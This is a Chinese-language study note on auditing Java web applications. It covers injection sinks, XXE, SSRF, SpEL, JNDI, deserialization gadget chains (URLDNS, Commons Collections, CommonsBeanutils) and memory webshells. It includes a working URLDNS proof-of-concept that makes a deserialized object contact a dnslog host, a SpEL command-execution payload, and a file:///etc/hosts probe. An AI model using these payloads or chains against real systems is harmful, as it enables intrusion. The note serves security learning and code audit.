[[../Web安全开发基础/Web安全开发基础-JAVA/Web安全开发基础-JAVA|Web安全开发基础-JAVA]]

命令/代码注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ProcessBuilder
new ProcessBuilder(command).start()

// Runtime
Runtime.getRuntime().exec(cmd)

// ProcessImpl(抽象类)
// 通过反射来间接调用ProcessImpl来达到执行命令

// ScriptEngineManager方式(脚本引擎代码注入)java8之后移除
// 通过加载远程js文件来执行代码
// 构造远程恶意js

// Apache Groovy
GroovyShell shell = new GroovyShell();
shell.evaluate(cmd);

SQL 注入

  • 使用 Statement 对象,传入参数拼接到 SQL 语句执行,存在漏洞;
  • 若使用 PreparedStatement 通过预编译再去执行,但是若依旧使用拼接的方式来构造 SQL 语句还是存在漏洞;
  • 使用 Spring 中的 jdbctemplate 也一样。

若使用占位符 ? 、ESAPI 验证、强类型转换限制、编码或严格的白名单过滤也可以避免注入。

Mybatis

支持两种参数符号 #$# 使用预编译 $ 使用拼接 SQL。

当需要用到 order bylikein 时也是无法使用预编译

  • #{} 会将对象转换为字符串,导致 order by 时错误;
  • like 模糊搜索时,直接使用 %#{} 会报错;
  • in 之后多个 id 查询时使用 # 同样会报错。

所以很多研发还是会使用 $

Hibernate&JPA

接收参数使用 : 进行预编译可防止注入。

白盒审计:确定数据库通讯技术、确定类型找调用方法、再查看写法是否安全。

XXE

1
2
3
4
5
6
7
8
9
10
11
12
13
// 审计函数
XMLReader
SAXReader
DocumentBuilder
XMLStreamReader
SAXBuilder
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression

对于以上类函数实现,parse 执行后续的变量可控

  • 禁用 dtd 实体引用、外部参数实体解析
  • 过滤关键词 <!DOCTYPE><!ENTITY>,或者 SYSTEMPUBLIC
  • 使用安全的 XML 解析器或库:考虑使用像 Jackson XML、JAXB 等现代库,通常默认禁用不安全的功能,或者提供更好的安全性控制

SSRF

可能造成 SSRF 的 API

1
2
3
4
5
6
7
8
9
10
HttpClient
HttpAsyncClient
java.net.URLConnection/HttpURLConnection
java.net.URL
java.net.Socket
OkHttp
ImageIO
Hutool
Jsoup
RestTemplate

代码审计 SINK 点:

URL、HttpClient、OkHttpURLConnection、Socket、ImageIO、DriverManager.getConnection、SimpleDriverDataSource.getConnection、HttpURLConnection、RestTemplate、URLConnection、WebClient、JNDI
Linux:file:///etc/hosts Windows:file:///C:\windows\win.ini

URL 跳转

可能存在跳转的参数:sendRedirectsetHeader

代码审计 SINK 点:

redirect、url、redirectUrl、callback、return_url、toUrl、ReturnUrl、fromUrl、redUrl、request、redirect_to、redirect_url、jump、jump_to、target、to、goto、link、linkto、domain、oauth_callback

SpEL 表达式注入

如果一个 Web 应用允许用户输入字符串,并直接把这个字符串丢进 parser.parseExpression() 里去执行,攻击者就可以构造特殊的字符串来执行系统命令 T(java.lang.Runtime).getRuntime().exec('calc')

SSTI

https://www.cnblogs.com/bmjoker/p/13508538.html

Thymeleaf、Velocity、FreeMarker

模版文件参数可控

Swagger UI API 框架接口泄露

接口泄露,未正确配置访问控制或未实施安全措施。

Actuator 泄露

  • heapdump 堆转储文件,java 进程在某一时刻的内存快照,包含该时刻 jvm 中所有对象信息、类信息和变量值
    • 数据库连接字符串、未加密用户的 Session、配置文件中的明文密码、以及刚被处理的用户卡号及个人信息
  • druid 数据库连接池,自带监控控制台,用于查看 SQL 执行效率、并发量等
    • 系统所有 SQL 语句、数据库连接地址、Session 以及正在访问的用户 ip
  • jolokia 通过 http 访问 jmx(Java Management Extensions)的桥接器
    • RCE,利用 logback 的配置加载功能、通过 jndi 注入
  • gateway(spring cloud 生态系统中的网关)
    • CVE-2022-22947 (SpEL 表达式注入)

反序列化漏洞

反序列化利用本质是根据序列化数据里的“类信息”,动态调用对应类的反序列化逻辑。

ClassLoader(类加载器) 的作用:把编译好的 .class 文件(字节码)加载到 Java 虚拟机(JVM)中,并将其转换成内存中的 java.lang.Class 对象。

20260113

20260116

关注:入口点,链,执行点

  • 原生类的反序列化(ObjectInputStream.readObject()SnakeYamlXMLDecoder 等)
  • 第三方组件的反序列化(Fastjson、Jackson、Xstream 等)

java 序列化的数据一般会以标记(ac ed 00 05)开头,base64 编码的特征为 rO0AB

以 URLDNS 链为例

ObjectInputStream.readObject() 本身只是“入口”,真正执行逻辑的是被反序列化对象自己的 readObject 方法。

就像 URLDNS 链,序列化时写入的是 HashMap<URL, Integer> map

1
2
3
4
5
6
7
8
9
10
11
12
13
从入口开始
ObjectInputStream.readObject()

判断传入的是数组、字符串、普通对象...=>
readObject0()

若是普通对象=>
readOrdinaryObject()

desc.invokeReadObject()
这里会反射调用:目标类的 readObject()

HashMap.readObject()
1
2
3
4
5
// desc.invokeReadObject() 逻辑
if (类定义了 readObject)
→ 调用它
else
→ 默认反序列化

因为 java.util.HashMap 重写了 readObject,序列化时写的是 ObjectOutputStream.writeObject(map);,map 是 HashMap,所以反序列化一定会进 HashMap.readObject()

JNDI 注入

https://tttang.com/archive/1405/

20260113-1

  • JNDI 支持的服务主要有:DNS、LDAP、CORBA、RMI 等。
  • RMI:远程方法调用注册表
  • LDAP:轻量级目录访问协议
  • RMI 限制:

com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为 false,即不允许从远程的 Codebase 加载 Reference 工厂类,不过没限制本地加载类文件。

  • LDAP 限制:

com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false,导致 LDAP 远程代码攻击方式开始失效。这里可以利用 javaSerializedData 属性,当 javaSerializedData 属性 value 值不为空时,本地存在反序列化利用链时触发。

触发模式:

  • 远程 Reference 链,通过远程加载攻击工具中的 class 文件中的代码,从而执行操作;
  • 本地 Reference 链,通过利用本地服务器项目中原始依赖来执行操作;
  • 反序列化链
    • jdk 版本不同的 jndi 注入
    • 中间件不同的 jndi 注入
    • jar 包依赖不同的 jndi 注入
  • JDK 6u45、7u21 之后:

java.rmi.server.useCodebaseOnly 的默认值被设置为 true。当该值为 true 时,将禁用自动加载远程类文件,仅从 CLASSPATH 和当前 JVM 的 java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端 JVM 从其他 Codebase 地址上动态加载类,增加 RMI ClassLoader 安全性。

  • JDK 6u141、7u131、8u121 之后:

增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止 RMI 和 CORBA 协议使用远程 codebase 的选项,因此 RMI 和 CORBA 在以上的 JDK 版本上已经无法触发该漏洞,但依然可以通过指定 URI 为 LDAP 协议来进行 JNDI 注入攻击。

  • JDK 6u211、7u201、8u191 之后:

增加了 com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为 false,禁止 LDAP 协议使用远程 codebase 的选项,把 LDAP 协议的攻击途径也给禁了。


待补充待研究

URLDNSlog 链

Java 的 URL 类在计算 hashCode 时,认为“逻辑上等价的 URL 应该有相同的哈希值”,为判断两个域名是否指向同一个地方,Java 会在 URLStreamHandler 中调用网络解析库去查询该域名的 IP 地址。

20260122

1
2
3
4
5
6
7
HashMap 实现了 Serializable 接口
HashMap::readObject -> putVal() -> hash()
-> key.hashCode
->
URL::hashCode -> handler.hashCode
=>
URLStreamHandler::hashCode -> getHostAddress
1
2
3
4
5
6
7
public static void main(String[] args) throws MalformedURLException {

URL url = new URL("http://e2pnia.dnslog.cn");
HashMap hashMap = new HashMap();

hashMap.put(url, 1);
}

本地构造 POC 时不发送网络请求,通过反射修改 URL 类中的 hashCode,将其不等于 -1 即可:

生成 POC 到本地磁盘

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://e2pnia.dnslog.cn");
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
hashMap.put(url, 1); // put 进去时, hashCode 为 0, 在里面调用 hashCode 方法, 不会发送DNSLOG请求.
hashCode.set(url, -1); // put 完了, 再改回 -1, 以免我们序列化的 hashCode 被替换为 0. 下一次反序列化时就会发送 DNSLOG 请求.
serialize(hashMap); // 运行后将dns.txt生成出来
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(o);
}

反序列化调用:

1
2
3
4
5
6
7
8
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
unserialize(); // 调用直接发送 DNSLOG 请求.
}

public static Map unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dns.txt"));
return (Map) ois.readObject();
}

URLDNSlog 链

https://mp.weixin.qq.com/s/9rS6iPMkxLHECgGDdyGXsQ
https://mp.weixin.qq.com/s/synx7l2JjZAtd9UHtXVqng

CC 链

https://mp.weixin.qq.com/s/J_YeNkLN6KYTCVDYFh1dvQ

20260125

CC1

1
2
3
4
5
6
7
8
InvokerTransformer 实现了 Serializable 接口

InvokerTransformer::transform()/ConstantTransformer::transform()/ConstantTransformer::transform()
-> TransformedMap::checkSetValue()
-> AbstractInputCheckedMapDecorator::MapEntry::setValue()
-> AnnotationInvocationHandler::readObject()


CC2

1
2
3
4
5
6
7
PriorityQueue::readObject() -> heapify() -> siftDown() -> siftDownUsingComparator()
-> comparator.compare()
-> TransformingComparator::compare()
-> InvokerTransformer::transform()

TemplatesImpl::getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses()
-> loader.defineClass()

CC4

1
2
3
4
5
PriorityQueue::readObject() -> heapify() -> siftDown() -> siftDownUsingComparator()
-> comparator.compare()
-> TransformingComparator::compare()

-> ConstantTransformer::transform()

CB 链

https://www.freebuf.com/articles/web/319397.html

1
2
PropertyUtils.getProperty(new User("Bob","man",31),"age");
// 会调用getage方法

20260122-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BeanComparator 实现了 Serializable 接口
PropertyUtils.getProperty() 会通过 get 获取类中方法的内容

PriorityQueue::readObject() -> heapify() -> siftDown() -> siftDownUsingComparator()
-> BeanComparator::compare()
-> PropertyUtils::getProperty()
-> PropertyUtilsBean::getProperty() -> getNestedProperty() -> getSimpleProperty() -> invokeMethod()

所以可通过 PropertyUtils.getProperty() 获取 TemplatesImpl.getOutputProperties()
TemplatesImpl 实现了 Serializable 接口

TemplatesImpl::getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses()
-> loader.defineClass()

取出 TemplatesImpl 对象中存储的字节码(_bytecodes 属性),并调用 ClassLoader.defineClass 将其加载进内存并实例化

字节码加载 (RCE)

内存马

https://github.com/W01fh4cker/LearnJavaMemshellFromZero

无文件的 webshell,一种存在于内存当中的后门。

基本原理:在 web 组件或应用程序中,注册一层访问路由,访问者通过这层路由,来执行控制器中的代码。动态地在内存中注册一个新的服务组件,一旦注册成功,该组件就会像正常的系统功能一样,拦截并处理发往服务器的请求。

20260201

https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw

https://cloud.tencent.com/developer/article/2130045

除通过上传脚本来植入内存马外,还可以借助已知漏洞:如反序列化,SSTI 注入,RCE 等执行 Java 反射逻辑,注入内存马

https://www.cnblogs.com/nongchaoer/p/15561936.html
https://github.com/W01fh4cker/LearnJavaMemshellFromZero
https://www.bilibili.com/video/BV1E84y1w77R/

Servlet

客户端请求的核心组件,通过动态注册 Servlet 来实现的内存攻击。通过程序化地向 Web 容器(如 Tomcat)在运行时注册恶意的 Servlet 对象,使得该 Servlet 能够在没有实际文件存在的情况下执行恶意程序。
https://cloud.tencent.com/developer/article/2130045
https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw

Lisent

关键在于让 web 应用中的 web.xml 正确配置 java 监听器对应的类,在执行/访问指定路由的时候触发监听器,监听器内部写入命令执行等木马内容,从而触发。利用反射机制,编写代码手动调用 web.xml 和 java 类对应的映射关系从而实现这一点。

相当于利用反射机制添加一个服务。

Filter

基本同上

Servlet

编写代码在进行 get/post 请求时触发。

防御:获取所有的监听器、过滤器等,进行筛选删除。

封装为字节码,解密,反射执行。

分离

远程调用、远程类加载

远程读取、写入本地、包含文件、诱导执行

后缀检测、关键字检测

SpringMVC

https://mp.weixin.qq.com/s/Jpvw4iYJRZA6NzXySYlcwA

interceptor

拦截器

Controller

控制器

Agent

Java Agent 一种可以在 JVM 启动时或运行时附加的工具,可以拦截并修改类字节码,通常用于实现 AOP(面相切面编程)、性能监控、日志记录等功能。

Java Agent 的两种加载方式:

  • Premain:在 JVM 启动时通过命令行参数 -javaagent:path/to/xx.jar 来指定(即通过指定参数 xx.jar 文件可修改目标 jar 文件的功能)
  • Agentmain:在 JVM 已经启动后,通过 Attach API 动态地附加到正在运行的 JVM 进程上